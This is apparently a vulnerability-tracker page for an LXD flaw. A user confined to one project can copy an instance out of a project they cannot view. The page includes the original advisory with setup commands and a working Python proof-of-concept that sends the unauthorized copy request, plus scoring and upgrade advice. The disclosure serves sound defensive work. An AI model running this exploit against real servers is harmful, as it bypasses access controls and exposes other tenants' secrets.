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LXD has project restriction bypass in instance copy across projects

Exploited
No known exploitation
Fix
Fixed in 0.0.0-20260630083100-c5184be310b1
Who is exposed
Not reported

Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Published
Last modified
17/100 · provisional
High (ghsa)
None on Exploit-DB, Metasploit or GitHub

Summary

LXD, a container and virtual machine manager, has a flaw that lets a user with access to one project copy an instance from a project they are not allowed to view, if they know the project and instance names, which could expose secrets stored in that instance. Because the attacker's access to the target server is needed, the copy can be made, and the copied instance can then be moved to another server.

Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.

Read the original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg

Summary

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

PoC

Setup

We assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

cve.now Index

17Pcve.now Index 17 of 100 · methodology v3 · provisional
  • Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
  • Exposure?/25Unknown. No advisory context yet
  • Reach10/20Affects Go packages
  • Severity7/10Rated high by ghsa
  • No patch0/5No signal

What would change the score

  • Would score about 72 if added to CISA KEV
  • Would score about 67 if CISA's SSVC rates exploitation active
  • Would score about 39 if advisories confirm default setups are exposed

What to do

  • Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • github.com/canonical/lxdGo

    fixed in 0.0.0-20260630083100-c5184be310b1

Evidence 10

  1. Advisory
  2. Advisory
  3. Advisory
  4. Repository
  5. Repository
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  1. Repository
  2. Repository
  3. Repository
  4. Repository
  5. Repository

Corrections

None so far.

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Questions about GHSA-QX75-2P3R-PWM5

Is GHSA-QX75-2P3R-PWM5 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data

Which versions are affected by GHSA-QX75-2P3R-PWM5?

github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data

How do I fix GHSA-QX75-2P3R-PWM5?

Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data